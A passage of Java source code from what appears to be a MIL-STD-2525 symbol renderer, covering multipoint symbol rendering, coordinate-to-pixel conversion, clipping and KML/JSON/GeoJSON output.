//for (j = 0; j < bboxCoords.size(); j++)
for (j = 0; j < n; j++) {
ptGeo = bboxCoords.get(j);
ptPixels = ipc.GeoToPixels(ptGeo);
x = ptPixels.getX();
y = ptPixels.getY();
if (x < 20) {
x = 20;
}
if (y < 20) {
y = 20;
}
ptPixels.setLocation(x, y);
//end section
bboxCoords.set(j, (Point2D) ptPixels);
}
} else//rectangle
{
bounds = bbox.split(",");
left = Double.valueOf(bounds[0]);
right = Double.valueOf(bounds[2]);
top = Double.valueOf(bounds[3]);
bottom = Double.valueOf(bounds[1]);
scale = getReasonableScale(bbox, scale);
ipc = new PointConverter(left, top, scale);
}
Point2D pt2d = null;
if (bboxCoords == null) {
pt2d = new Point2D.Double(left, top);
temp = ipc.GeoToPixels(pt2d);
leftX = (int) temp.getX();
topY = (int) temp.getY();
pt2d = new Point2D.Double(right, bottom);
temp = ipc.GeoToPixels(pt2d);
bottomY = (int) temp.getY();
rightX = (int) temp.getX();
//diagnostic clipping does not work at large scales
// if(scale>10e6)
// //diagnostic replace above by using a new ipc based on the coordinates MBR
// coordsUL=getGeoUL(geoCoords);
// temp = ipc.GeoToPixels(coordsUL);
// left=coordsUL.getX();
// top=coordsUL.getY();
// //shift the ipc to coordsUL origin so that conversions will be more accurate for large scales.
// ipc = new PointConverter(left, top, scale);
// //shift the rect to compenstate for the shifted ipc so that we can maintain the original clipping area.
// leftX -= (int)temp.getX();
// rightX -= (int)temp.getX();
// topY -= (int)temp.getY();
// bottomY -= (int)temp.getY();
// //end diagnostic
//end section
width = (int) Math.abs(rightX - leftX);
height = (int) Math.abs(bottomY - topY);
rect = new Rectangle(leftX, topY, width, height);
}
} else {
rect = null;
}
//end section
// for (int i = 0; i < len; i++) {
// String[] coordPair = coordinates[i].split(",");
// Double latitude = Double.valueOf(coordPair[1].trim());
// Double longitude = Double.valueOf(coordPair[0].trim());
// geoCoords.add(new Point2D.Double(longitude, latitude));
if (ipc == null) {
Point2D ptCoordsUL = getGeoUL(geoCoords);
ipc = new PointConverter(ptCoordsUL.getX(), ptCoordsUL.getY(), scale);
}
//if (crossesIDL(geoCoords) == true)
// if(Math.abs(right-left)>180)
// normalize = true;
// ((PointConverter)ipc).set_normalize(true);
// else {
// normalize = false;
// ((PointConverter)ipc).set_normalize(false);
//seems to work ok at world view
// if (normalize) {
// NormalizeGECoordsToGEExtents(0, 360, geoCoords);
//M. Deutch 10-3-11
//must shift the rect pixels to synch with the new ipc
//the old ipc was in synch with the bbox, so rect x,y was always 0,0
//the new ipc synchs with the upper left of the geocoords so the boox is shifted
//and therefore the clipping rectangle must shift by the delta x,y between
//the upper left corner of the original bbox and the upper left corner of the geocoords
ArrayList<Point2D> geoCoords2 = new ArrayList<Point2D>();
geoCoords2.add(new Point2D.Double(left, top));
geoCoords2.add(new Point2D.Double(right, bottom));
// if (normalize) {
// NormalizeGECoordsToGEExtents(0, 360, geoCoords2);
//disable clipping
if (ShouldClipSymbol(symbolCode) == false)
if(crossesIDL(geoCoords)==false)
{
rect = null;
bboxCoords = null;
}
tgl.set_SymbolId(symbolCode);
tgl.set_Pixels(null);
try {
//String fillColor = null;
MilStdSymbol mSymbol = new MilStdSymbol(symbolCode, null, geoCoords, null);
mSymbol.setUseDashArray(false);
//set milstd symbology standard.
mSymbol.setSymbologyStandard(symStd);
if (symbolModifiers != null || symbolAttributes != null) {
populateModifiers(symbolModifiers, symbolAttributes, mSymbol);
} else {
mSymbol.setFillColor(null);
}
String symbolIsValid = canRenderMultiPoint(mSymbol);
if (symbolIsValid.equals("true") == false) {
String ErrorOutput = "";
ErrorOutput += ("{\"type\":\"error\",\"error\":\"There was an error creating the MilStdSymbol " + symbolCode + ": " + "- ");
ErrorOutput += (symbolIsValid + " - ");
ErrorOutput += ("\"}");
//ErrorLogger.LogMessage("MultiPointHandler","RenderSymbol",symbolIsValid,Level.WARNING);
return ErrorOutput;
}//*/
//get pixel values in case we need to do a fill.
if(symbolModifiers.indexOfKey(SYMBOL_FILL_IDS)>=0 ||
symbolModifiers.indexOfKey(SYMBOL_LINE_IDS)>=0)
{
tgl = clsRenderer.createTGLightFromMilStdSymbol(mSymbol, ipc);
if(rect != null)
{
Rectangle2D rect2d=new Rectangle2D.Double(rect.x,rect.y,rect.width,rect.height);
clsClipPolygon2.ClipPolygon(tgl, rect2d);
}
tgPoints = tgl.get_Pixels();
}
if (bboxCoords == null) {
clsRenderer.renderWithPolylines(mSymbol, ipc, rect);
} else {
clsRenderer.renderWithPolylines(mSymbol, ipc, bboxCoords);
}
shapes = mSymbol.getSymbolShapes();
modifiers = mSymbol.getModifierShapes();
if (format == 1) {
jsonOutput.append("{\"type\":\"symbol\",");
jsonContent = JSONize(shapes, modifiers, ipc, true, normalize);
jsonOutput.append(jsonContent);
jsonOutput.append("}");
} else if (format == 0) {
Color textColor = null;
//textColor = mSymbol.getLineColor();
textColor = mSymbol.getTextColor();
if(textColor==null)
textColor=mSymbol.getLineColor();
/*String hexColor = textColor.toHexString();
if (hexColor.equals("#FF000000"))//black
{
textColor = Color.white;//textColor = "#FFFFFFFF";
}*/
jsonContent = KMLize(id, name, description, symbolCode, shapes, modifiers, ipc, normalize, textColor);
jsonOutput.append(jsonContent);
//if there's a symbol fill or line pattern, add to KML//////////
if (symbolModifiers.indexOfKey(SYMBOL_FILL_IDS) >= 0
|| symbolModifiers.indexOfKey(SYMBOL_LINE_IDS) >= 0) {
//String fillKML = AddImageFillToKML(tgPoints, jsonContent, mSymbol, ipc, normalize);
String fillKML = AddImageFillToKML(tgPoints, jsonContent, symbolModifiers, ipc, normalize);
//if(fillKML != null && fillKML.equals("")==false)
if(fillKML != null && !fillKML.isEmpty())
{
//jsonContent = fillKML;
jsonOutput.append(fillKML);
}
}///end if symbol fill or line pattern//////////////////////////
//jsonOutput.append(jsonContent);
}
else if (format == 2)
{
jsonOutput.append("{\"type\":\"FeatureCollection\",\"features\":");
jsonContent = GeoJSONize(shapes, modifiers, ipc, normalize, mSymbol.getTextColor(), mSymbol.getTextBackgroundColor());
jsonOutput.append(jsonContent);
jsonOutput.append(",\"properties\":{\"id\":\"");
jsonOutput.append(id);
jsonOutput.append("\",\"name\":\"");
jsonOutput.append(name);
jsonOutput.append("\",\"description\":\"");
jsonOutput.append(description);
jsonOutput.append("\",\"symbolID\":\"");
jsonOutput.append(symbolCode);
jsonOutput.append("\"}}");
}
} catch (Exception exc) {
String st = JavaRendererUtilities.getStackTrace(exc);
jsonOutput = new StringBuilder();
jsonOutput.append("{\"type\":\"error\",\"error\":\"There was an error creating the MilStdSymbol " + symbolCode + ": " + "- ");
jsonOutput.append(exc.getMessage() + " - ");
jsonOutput.append(st);
jsonOutput.append("\"}");
ErrorLogger.LogException("MultiPointHandler", "RenderSymbol", exc);
}
boolean debug = false;
if (debug == true) {
System.out.println("Symbol Code: " + symbolCode);
System.out.println("Scale: " + scale);
System.out.println("BBOX: " + bbox);
if (controlPoints != null) {
System.out.println("Geo Points: " + controlPoints);
}
if (tgl != null && tgl.get_Pixels() != null)//pixels != null
{
System.out.println("Pixel: " + tgl.get_Pixels().toString());
}
if (bbox != null) {
System.out.println("geo bounds: " + bbox);
}
if (rect != null) {
System.out.println("pixel bounds: " + rect.toString());
}
if (jsonOutput != null) {
System.out.println(jsonOutput.toString());
}
}
ErrorLogger.LogMessage("MultiPointHandler", "RenderSymbol()", "exit RenderSymbol", Level.FINER);
return jsonOutput.toString();
}
/**
*
* @param id
* @param name
* @param description
* @param symbolCode
* @param controlPoints
* @param scale
* @param bbox
* @param symbolModifiers
* @param symbolAttributes
* @param symStd
* @return
*/
public static MilStdSymbol RenderSymbolAsMilStdSymbol(String id,
String name,
String description,
String symbolCode,
String controlPoints,
Double scale,
String bbox,
SparseArray<String> symbolModifiers,
SparseArray<String> symbolAttributes,
int symStd)
//ArrayList<ShapeInfo>shapes)
{
MilStdSymbol mSymbol = null;
//System.out.println("MultiPointHandler.RenderSymbol()");
boolean normalize = true;
Double controlLat = 0.0;
Double controlLong = 0.0;
//String jsonContent = "";
Rectangle rect = null;
//for symbol & line fill
ArrayList<POINT2> tgPoints = null;
String[] coordinates = controlPoints.split(" ");
TGLight tgl = new TGLight();
ArrayList<ShapeInfo> shapes = null;//new ArrayList<ShapeInfo>();
ArrayList<ShapeInfo> modifiers = null;//new ArrayList<ShapeInfo>();
//ArrayList<Point2D> pixels = new ArrayList<Point2D>();
ArrayList<Point2D> geoCoords = new ArrayList<Point2D>();
int len = coordinates.length;
IPointConversion ipc = null;
//Deutch moved section 6-29-11
Double left = 0.0;
Double right = 0.0;
Double top = 0.0;
Double bottom = 0.0;
Point2D temp = null;
Point2D ptGeoUL = null;
int width = 0;
int height = 0;
int leftX = 0;
int topY = 0;
int bottomY = 0;
int rightX = 0;
int j = 0;
ArrayList<Point2D> bboxCoords = null;
if (bbox != null && bbox.equals("") == false) {
String[] bounds = null;
if (bbox.contains(" "))//trapezoid
{
bboxCoords = new ArrayList<Point2D>();
double x = 0;
double y = 0;
String[] coords = bbox.split(" ");
String[] arrCoord;
for (String coord : coords) {
arrCoord = coord.split(",");
x = Double.valueOf(arrCoord[0]);
y = Double.valueOf(arrCoord[1]);
bboxCoords.add(new Point2D.Double(x, y));
}
//use the upper left corner of the MBR containing geoCoords
//to set the converter
ptGeoUL = getGeoUL(bboxCoords);
left = ptGeoUL.getX();
top = ptGeoUL.getY();
ipc = new PointConverter(left, top, scale);
Point2D ptPixels = null;
Point2D ptGeo = null;
int n = bboxCoords.size();
//for (j = 0; j < bboxCoords.size(); j++)
for (j = 0; j < n; j++) {
ptGeo = bboxCoords.get(j);
ptPixels = ipc.GeoToPixels(ptGeo);
x = ptPixels.getX();
y = ptPixels.getY();
if (x < 20) {
x = 20;
}
if (y < 20) {
y = 20;
}
ptPixels.setLocation(x, y);
//end section
bboxCoords.set(j, (Point2D) ptPixels);
}
} else//rectangle
{
bounds = bbox.split(",");
left = Double.valueOf(bounds[0]);
right = Double.valueOf(bounds[2]);
top = Double.valueOf(bounds[3]);
bottom = Double.valueOf(bounds[1]);
scale = getReasonableScale(bbox, scale);
ipc = new PointConverter(left, top, scale);
}
Point2D pt2d = null;
if (bboxCoords == null) {
pt2d = new Point2D.Double(left, top);
temp = ipc.GeoToPixels(pt2d);
leftX = (int) temp.getX();
topY = (int) temp.getY();
pt2d = new Point2D.Double(right, bottom);
temp = ipc.GeoToPixels(pt2d);
bottomY = (int) temp.getY();
rightX = (int) temp.getX();
//diagnostic clipping does not work for large scales
// if (scale > 10e6) {
// //get widest point in the AOI
// double midLat = 0;
// if (bottom < 0 && top > 0) {
// midLat = 0;
// } else if (bottom < 0 && top < 0) {
// midLat = top;
// } else if (bottom > 0 && top > 0) {
// midLat = bottom;
// temp = ipc.GeoToPixels(new Point2D.Double(right, midLat));
// rightX = (int) temp.getX();
//end section
width = (int) Math.abs(rightX - leftX);
height = (int) Math.abs(bottomY - topY);
if(width==0 || height==0)
rect=null;
else
rect = new Rectangle(leftX, topY, width, height);
}
} else {
rect = null;
}
//end section
for (int i = 0; i < len; i++) {
String[] coordPair = coordinates[i].split(",");
Double latitude = Double.valueOf(coordPair[1].trim());
Double longitude = Double.valueOf(coordPair[0].trim());
geoCoords.add(new Point2D.Double(longitude, latitude));
}
if (ipc == null) {
Point2D ptCoordsUL = getGeoUL(geoCoords);
ipc = new PointConverter(ptCoordsUL.getX(), ptCoordsUL.getY(), scale);
}
//if (crossesIDL(geoCoords) == true)
// if(Math.abs(right-left)>180)
// normalize = true;
// ((PointConverter)ipc).set_normalize(true);
// else {
// normalize = false;
// ((PointConverter)ipc).set_normalize(false);
//seems to work ok at world view
// if (normalize) {
// NormalizeGECoordsToGEExtents(0, 360, geoCoords);
//M. Deutch 10-3-11
//must shift the rect pixels to synch with the new ipc
//the old ipc was in synch with the bbox, so rect x,y was always 0,0
//the new ipc synchs with the upper left of the geocoords so the boox is shifted
//and therefore the clipping rectangle must shift by the delta x,y between
//the upper left corner of the original bbox and the upper left corner of the geocoords
ArrayList<Point2D> geoCoords2 = new ArrayList<Point2D>();
geoCoords2.add(new Point2D.Double(left, top));
geoCoords2.add(new Point2D.Double(right, bottom));
// if (normalize) {
// NormalizeGECoordsToGEExtents(0, 360, geoCoords2);
//disable clipping
if (ShouldClipSymbol(symbolCode) == false)
if(crossesIDL(geoCoords)==false)
{
rect = null;
bboxCoords=null;
}
tgl.set_SymbolId(symbolCode);
tgl.set_Pixels(null);
try {
String fillColor = null;
mSymbol = new MilStdSymbol(symbolCode, null, geoCoords, null);
mSymbol.setUseDashArray(true);
//set milstd symbology standard.
mSymbol.setSymbologyStandard(symStd);
if (symbolModifiers != null || symbolAttributes != null) {
populateModifiers(symbolModifiers, symbolAttributes, mSymbol);
} else {
mSymbol.setFillColor(null);
}
if (mSymbol.getFillColor() != null) {
Color fc = mSymbol.getFillColor();
//fillColor = Integer.toHexString(fc.getRGB());
fillColor = Integer.toHexString(fc.toARGB());
}
if (bboxCoords == null) {
clsRenderer.renderWithPolylines(mSymbol, ipc, rect);
} else {
clsRenderer.renderWithPolylines(mSymbol, ipc, bboxCoords);
}
shapes = mSymbol.getSymbolShapes();
modifiers = mSymbol.getModifierShapes();
//convert points////////////////////////////////////////////////////
ArrayList<ArrayList<Point2D>> polylines = null;
ArrayList<ArrayList<Point2D>> newPolylines = null;
ArrayList<Point2D> newLine = null;
for (ShapeInfo shape : shapes) {
polylines = shape.getPolylines();
//System.out.println("pixel polylines: " + String.valueOf(polylines));
newPolylines = ConvertPolylinePixelsToCoords(polylines, ipc, normalize);
shape.setPolylines(newPolylines);
}
for (ShapeInfo label : modifiers) {
Point2D pixelCoord = label.getModifierStringPosition();
if (pixelCoord == null) {
pixelCoord = label.getGlyphPosition();
}
Point2D geoCoord = ipc.PixelsToGeo(pixelCoord);
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
double latitude = geoCoord.getY();
double longitude = geoCoord.getX();
label.setModifierStringPosition(new Point2D.Double(longitude, latitude));
}
mSymbol.setModifierShapes(modifiers);
mSymbol.setSymbolShapes(shapes);
} catch (Exception exc) {
System.out.println(exc.getMessage());
System.out.println("Symbol Code: " + symbolCode);
exc.printStackTrace();
}
boolean debug = false;
if (debug == true) {
System.out.println("Symbol Code: " + symbolCode);
System.out.println("Scale: " + scale);
System.out.println("BBOX: " + bbox);
if (controlPoints != null) {
System.out.println("Geo Points: " + controlPoints);
}
if (tgl != null && tgl.get_Pixels() != null)//pixels != null
{
//System.out.println("Pixel: " + pixels.toString());
System.out.println("Pixel: " + tgl.get_Pixels().toString());
}
if (bbox != null) {
System.out.println("geo bounds: " + bbox);
}
if (rect != null) {
System.out.println("pixel bounds: " + rect.toString());
}
}
return mSymbol;
}
private static ArrayList<ArrayList<Point2D>> ConvertPolylinePixelsToCoords(ArrayList<ArrayList<Point2D>> polylines, IPointConversion ipc, Boolean normalize) {
ArrayList<ArrayList<Point2D>> newPolylines = new ArrayList<ArrayList<Point2D>>();
double latitude = 0;
double longitude = 0;
ArrayList<Point2D> newLine = null;
try {
for (ArrayList<Point2D> line : polylines) {
newLine = new ArrayList<Point2D>();
for (Point2D pt : line) {
Point2D geoCoord = ipc.PixelsToGeo(pt);
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
latitude = geoCoord.getY();
longitude = geoCoord.getX();
newLine.add(new Point2D.Double(longitude, latitude));
}
newPolylines.add(newLine);
}
} catch (Exception exc) {
System.out.println(exc.getMessage());
exc.printStackTrace();
}
return newPolylines;
}
/**
* Multipoint Rendering on flat 2D maps
*
* @param id A unique ID for the symbol. only used in KML currently
* @param name
* @param description
* @param symbolCode
* @param controlPoints
* @param pixelWidth pixel dimensions of the viewable map area
* @param pixelHeight pixel dimensions of the viewable map area
* @param bbox The viewable area of the map. Passed in the format of a
* string "lowerLeftX,lowerLeftY,upperRightX,upperRightY." example:
* "-50.4,23.6,-42.2,24.2"
* @param symbolModifiers Modifier with multiple values should be comma
* delimited
* @param symbolAttributes
* @param format An enumeration: 0 for KML, 1 for JSON.
* @return A JSON or KML string representation of the graphic.
*/
public static String RenderSymbol2D(String id,
String name,
String description,
String symbolCode,
String controlPoints,
int pixelWidth,
int pixelHeight,
String bbox,
SparseArray<String> symbolModifiers,
SparseArray<String> symbolAttributes,
int format) {
return RenderSymbol2D(id, name, description, symbolCode, controlPoints,
pixelWidth, pixelHeight, bbox, symbolModifiers, symbolAttributes, format,
RendererSettings.getInstance().getSymbologyStandard());
}
/**
* Multipoint Rendering on flat 2D maps
*
* @param id A unique ID for the symbol. only used in KML currently
* @param name
* @param description
* @param symbolCode
* @param controlPoints
* @param pixelWidth pixel dimensions of the viewable map area
* @param pixelHeight pixel dimensions of the viewable map area
* @param bbox The viewable area of the map. Passed in the format of a
* string "lowerLeftX,lowerLeftY,upperRightX,upperRightY." example:
* "-50.4,23.6,-42.2,24.2"
* @param symbolModifiers Modifier with multiple values should be comma
* delimited
* @param symbolAttributes
* @param format An enumeration: 0 for KML, 1 for JSON.
* @param symStd An enumeration: 0 for 2525Bch2, 1 for 2525C.
* @return A JSON or KML string representation of the graphic.
*/
public static String RenderSymbol2D(String id,
String name,
String description,
String symbolCode,
String controlPoints,
int pixelWidth,
int pixelHeight,
String bbox,
SparseArray<String> symbolModifiers,
SparseArray<String> symbolAttributes,
int format, int symStd) {
StringBuilder jsonOutput = new StringBuilder();
String jsonContent = "";
Rectangle rect = null;
ArrayList<POINT2> tgPoints = null;
String[] coordinates = controlPoints.split(" ");
TGLight tgl = new TGLight();
ArrayList<ShapeInfo> shapes = new ArrayList<ShapeInfo>();
ArrayList<ShapeInfo> modifiers = new ArrayList<ShapeInfo>();
ArrayList<Point2D> geoCoords = new ArrayList<Point2D>();
IPointConversion ipc = null;
Double left = 0.0;
Double right = 0.0;
Double top = 0.0;
Double bottom = 0.0;
if (bbox != null && bbox.equals("") == false) {
String[] bounds = bbox.split(",");
left = Double.valueOf(bounds[0]).doubleValue();
right = Double.valueOf(bounds[2]).doubleValue();
top = Double.valueOf(bounds[3]).doubleValue();
bottom = Double.valueOf(bounds[1]).doubleValue();
ipc = new PointConversion(pixelWidth, pixelHeight, top, left, bottom, right);
} else {
System.out.println("Bad bbox value: " + bbox);
System.out.println("bbox is viewable area of the map. Passed in the format of a string \"lowerLeftX,lowerLeftY,upperRightX,upperRightY.\" example: \"-50.4,23.6,-42.2,24.2\"");
return "ERROR - Bad bbox value: " + bbox;
}
//end section
//get coordinates
int len = coordinates.length;
for (int i = 0; i < len; i++) {
String[] coordPair = coordinates[i].split(",");
Double latitude = Double.valueOf(coordPair[1].trim()).doubleValue();
Double longitude = Double.valueOf(coordPair[0].trim()).doubleValue();
geoCoords.add(new Point2D.Double(longitude, latitude));
}
try {
MilStdSymbol mSymbol = new MilStdSymbol(symbolCode, null, geoCoords, null);
mSymbol.setUseDashArray(false);
//set milstd symbology standard.
mSymbol.setSymbologyStandard(symStd);
if (symbolModifiers != null && symbolModifiers.equals("") == false) {
populateModifiers(symbolModifiers, symbolAttributes, mSymbol);
} else {
mSymbol.setFillColor(null);
}
//build clipping bounds
Point2D temp = null;
int leftX;
int topY;
int bottomY;
int rightX;
int width;
int height;
boolean normalize = false;
// if(Math.abs(right-left)>180)
// ((PointConversion)ipc).set_normalize(true);
// normalize=true;
// else
// ((PointConversion)ipc).set_normalize(false);
if (ShouldClipSymbol(symbolCode) || crossesIDL(geoCoords))
{
Point2D lt=new Point2D.Double(left,top);
//temp = ipc.GeoToPixels(new Point2D.Double(left, top));
temp = ipc.GeoToPixels(lt);
leftX = (int) temp.getX();
topY = (int) temp.getY();
Point2D rb=new Point2D.Double(right,bottom);
//temp = ipc.GeoToPixels(new Point2D.Double(right, bottom));
temp = ipc.GeoToPixels(rb);
bottomY = (int) temp.getY();
rightX = (int) temp.getX();
width = (int) Math.abs(rightX - leftX);
height = (int) Math.abs(bottomY - topY);
rect = new Rectangle(leftX, topY, width, height);
}
//check for required points & parameters
String symbolIsValid = canRenderMultiPoint(mSymbol);
if (symbolIsValid.equals("true") == false) {
String ErrorOutput = "";
ErrorOutput += ("{\"type\":\"error\",\"error\":\"There was an error creating the MilStdSymbol " + symbolCode + ": " + "- ");
ErrorOutput += (symbolIsValid + " - ");
ErrorOutput += ("\"}");
ErrorLogger.LogMessage("MultiPointHandler", "RenderSymbol", symbolIsValid, Level.WARNING);
return ErrorOutput;
}//*/
if(symbolModifiers.indexOfKey(SYMBOL_FILL_IDS)>=0 ||
symbolModifiers.indexOfKey(SYMBOL_LINE_IDS)>=0)
{
tgl = clsRenderer.createTGLightFromMilStdSymbol(mSymbol, ipc);
if(rect != null)
{
Rectangle2D rect2d=new Rectangle2D.Double(rect.x,rect.y,rect.width,rect.height);
clsClipPolygon2.ClipPolygon(tgl, rect2d);
}
tgPoints = tgl.get_Pixels();
}
//new interface
//IMultiPointRenderer mpr = MultiPointRenderer.getInstance();
clsRenderer.renderWithPolylines(mSymbol, ipc, rect);
shapes = mSymbol.getSymbolShapes();
modifiers = mSymbol.getModifierShapes();
//boolean normalize = false;
if (format == 1) {
jsonOutput.append("{\"type\":\"symbol\",");
//jsonContent = JSONize(shapes, modifiers, ipc, normalize);
jsonOutput.append(jsonContent);
jsonOutput.append("}");
} else if (format == 0) {
String fillColor = null;
if (mSymbol.getFillColor() != null) {
//fillColor = Integer.toHexString(mSymbol.getFillColor().getRGB());
fillColor = Integer.toHexString(mSymbol.getFillColor().toARGB());
}
Color textColor = null;
textColor = mSymbol.getTextColor();
if(textColor==null)
textColor=mSymbol.getLineColor();
/*String hexColor = SymbolUtilities.colorToHexString(textColor, true);
if (hexColor.equals("#FF000000"))//black
{
textColor = Color.white;//textColor = "#FFFFFFFF";
}*/
jsonContent = KMLize(id, name, description, symbolCode, shapes, modifiers, ipc, normalize, textColor);
jsonOutput.append(jsonContent);
//if there's a symbol fill or line pattern, add to KML//////////
if(symbolModifiers.indexOfKey(SYMBOL_FILL_IDS)>=0 ||
symbolModifiers.indexOfKey(SYMBOL_LINE_IDS)>=0)
{
//String fillKML = AddImageFillToKML(tgPoints, jsonContent, mSymbol, ipc, normalize);
String fillKML = AddImageFillToKML(tgPoints, jsonContent, symbolModifiers, ipc, normalize);
//if(fillKML != null && fillKML.equals("")==false)
if(fillKML != null && !fillKML.isEmpty())
{
//jsonContent = fillKML;
jsonOutput.append(fillKML);
}
}///end if symbol fill or line pattern//////////////////////////
//jsonOutput.append(jsonContent);
// if(mSymbol.getModifierMap().indexOfKey(MilStdAttributes.LookAtTag) &&
// mSymbol.getModifierMap().get(MilStdAttributes.LookAtTag).toLowerCase().equals("true"))
// String LookAtTag = JavaRendererUtilities.generateLookAtTag(geoCoords,mSymbol.getModifiers_AM_AN_X(ModifiersTG.X_ALTITUDE_DEPTH));
// if(LookAtTag != null && LookAtTag.endsWith("</LookAt>") == true)
// int idx = jsonContent.indexOf("<visibility>");
// jsonContent = jsonContent.substring(0,idx) + LookAtTag + jsonContent.substring(idx);
} else if (format == 2) {
jsonOutput.append("{\"type\":\"FeatureCollection\",\"features\":");
jsonContent = GeoJSONize(shapes, modifiers, ipc, normalize, mSymbol.getTextColor(), mSymbol.getTextBackgroundColor());
jsonOutput.append(jsonContent);
jsonOutput.append(",\"properties\":{\"id\":\"");
jsonOutput.append(id);
jsonOutput.append("\",\"name\":\"");
jsonOutput.append(name);
jsonOutput.append("\",\"description\":\"");
jsonOutput.append(description);
jsonOutput.append("\",\"symbolID\":\"");
jsonOutput.append(symbolCode);
jsonOutput.append("\"}}");
}
} catch (Exception exc) {
jsonOutput = new StringBuilder();
jsonOutput.append("{\"type\":\"error\",\"error\":\"There was an error creating the MilStdSymbol " + symbolCode + ": " + "- ");
jsonOutput.append(exc.getMessage() + " - ");
jsonOutput.append(ErrorLogger.getStackTrace(exc));
jsonOutput.append("\"}");
}
boolean debug = false;
if (debug == true) {
System.out.println("Symbol Code: " + symbolCode);
System.out.println("BBOX: " + bbox);
if (controlPoints != null) {
System.out.println("Geo Points: " + controlPoints);
}
if (tgl != null && tgl.get_Pixels() != null)//pixels != null
{
//System.out.println("Pixel: " + pixels.toString());
System.out.println("Pixel: " + tgl.get_Pixels().toString());
}
if (bbox != null) {
System.out.println("geo bounds: " + bbox);
}
if (rect != null) {
System.out.println("pixel bounds: " + rect.toString());
}
if (jsonOutput != null) {
System.out.println(jsonOutput.toString());
}
}
return jsonOutput.toString();
}
/**
* For Mike Deutch testing
*
* @param id
* @param name
* @param description
* @param symbolCode
* @param controlPoints
* @param pixelWidth
* @param pixelHeight
* @param bbox
* @param symbolModifiers
* @param shapes
* @param modifiers
* @param format
* @return
* @deprecated
*/
public static String RenderSymbol2DX(String id,
String name,
String description,
String symbolCode,
String controlPoints,
int pixelWidth,
int pixelHeight,
String bbox,
SparseArray<String> symbolModifiers,
SparseArray<String> symbolAttributes,
ArrayList<ShapeInfo> shapes,
ArrayList<ShapeInfo> modifiers,
int format)
//ArrayList<ShapeInfo>shapes)
{
StringBuilder jsonOutput = new StringBuilder();
String jsonContent = "";
Rectangle rect = null;
String[] coordinates = controlPoints.split(" ");
TGLight tgl = new TGLight();
ArrayList<Point2D> geoCoords = new ArrayList<Point2D>();
IPointConversion ipc = null;
Double left = 0.0;
Double right = 0.0;
Double top = 0.0;
Double bottom = 0.0;
if (bbox != null && bbox.equals("") == false) {
String[] bounds = bbox.split(",");
left = Double.valueOf(bounds[0]).doubleValue();
right = Double.valueOf(bounds[2]).doubleValue();
top = Double.valueOf(bounds[3]).doubleValue();
bottom = Double.valueOf(bounds[1]).doubleValue();
ipc = new PointConversion(pixelWidth, pixelHeight, top, left, bottom, right);
} else {
System.out.println("Bad bbox value: " + bbox);
System.out.println("bbox is viewable area of the map. Passed in the format of a string \"lowerLeftX,lowerLeftY,upperRightX,upperRightY.\" example: \"-50.4,23.6,-42.2,24.2\"");
return "ERROR - Bad bbox value: " + bbox;
}
//end section
//get coordinates
int len = coordinates.length;
for (int i = 0; i < len; i++) {
String[] coordPair = coordinates[i].split(",");
Double latitude = Double.valueOf(coordPair[1].trim()).doubleValue();
Double longitude = Double.valueOf(coordPair[0].trim()).doubleValue();
geoCoords.add(new Point2D.Double(longitude, latitude));
}
try {
MilStdSymbol mSymbol = new MilStdSymbol(symbolCode, null, geoCoords, null);
if (symbolModifiers != null && symbolModifiers.equals("") == false) {
populateModifiers(symbolModifiers, symbolAttributes, mSymbol);
} else {
mSymbol.setFillColor(null);
}
clsRenderer.renderWithPolylines(mSymbol, ipc, rect);
shapes = mSymbol.getSymbolShapes();
modifiers = mSymbol.getModifierShapes();
boolean normalize = false;
if (format == 1) {
jsonOutput.append("{\"type\":\"symbol\",");
jsonContent = JSONize(shapes, modifiers, ipc, false, normalize);
jsonOutput.append(jsonContent);
jsonOutput.append("}");
} else if (format == 0) {
String fillColor = null;
if (mSymbol.getFillColor() != null) {
fillColor = Integer.toHexString(mSymbol.getFillColor().toARGB());//Integer.toHexString(shapeInfo.getFillColor().getRGB()
}
jsonContent = KMLize(id, name, description, symbolCode, shapes, modifiers, ipc, normalize, mSymbol.getLineColor());
jsonOutput.append(jsonContent);
}
} catch (Exception exc) {
jsonOutput = new StringBuilder();
jsonOutput.append("{\"type\":\"error\",\"error\":\"There was an error creating the MilStdSymbol " + symbolCode + ": " + "- ");
jsonOutput.append(exc.getMessage() + " - ");
jsonOutput.append("\"}");
}
boolean debug = true;
if (debug == true) {
System.out.println("Symbol Code: " + symbolCode);
System.out.println("BBOX: " + bbox);
if (controlPoints != null) {
System.out.println("Geo Points: " + controlPoints);
}
if (tgl != null && tgl.get_Pixels() != null)//pixels != null
{
//System.out.println("Pixel: " + pixels.toString());
System.out.println("Pixel: " + tgl.get_Pixels().toString());
}
if (bbox != null) {
System.out.println("geo bounds: " + bbox);
}
if (rect != null) {
System.out.println("pixel bounds: " + rect.toString());
}
if (jsonOutput != null) {
System.out.println(jsonOutput.toString());
}
}
return jsonOutput.toString();
}
private static SymbolInfo MilStdSymbolToSymbolInfo(MilStdSymbol symbol) {
SymbolInfo si = null;
ArrayList<TextInfo> tiList = new ArrayList<TextInfo>();
ArrayList<LineInfo> liList = new ArrayList<LineInfo>();
TextInfo tiTemp = null;
LineInfo liTemp = null;
ShapeInfo siTemp = null;
ArrayList<ShapeInfo> lines = symbol.getSymbolShapes();
ArrayList<ShapeInfo> modifiers = symbol.getModifierShapes();
int lineCount = lines.size();
int modifierCount = modifiers.size();
for (int i = 0; i < lineCount; i++) {
siTemp = lines.get(i);
if (siTemp.getPolylines() != null) {
liTemp = new LineInfo();
liTemp.setFillColor(siTemp.getFillColor());
liTemp.setLineColor(siTemp.getLineColor());
liTemp.setPolylines(siTemp.getPolylines());
liTemp.setStroke(siTemp.getStroke());
liList.add(liTemp);
}
}
for (int j = 0; j < modifierCount; j++) {
tiTemp = new TextInfo();
siTemp = modifiers.get(j);
if (siTemp.getModifierString() != null) {
tiTemp.setModifierString(siTemp.getModifierString());
tiTemp.setModifierStringPosition(siTemp.getModifierStringPosition());
tiTemp.setModifierStringAngle(siTemp.getModifierStringAngle());
tiList.add(tiTemp);
}
}
si = new SymbolInfo(tiList, liList);
return si;
}
/**
* Populates a symbol with the modifiers from a JSON string. This function
* will overwrite any previously populated modifier data.
*
* @param jsonString a JSON formatted string containing all the symbol
* modifier data.
* @param symbol An existing MilStdSymbol
* @return
*/
private static boolean populateModifiers(SparseArray<String> saModifiers, SparseArray<String> saAttributes, MilStdSymbol symbol) {
SparseArray<String> modifiers = new SparseArray<String>();
SparseArray<String> attributes = saAttributes.clone();
// Stores array graphic modifiers for MilStdSymbol;
ArrayList<Double> altitudes = null;
ArrayList<Double> azimuths = null;
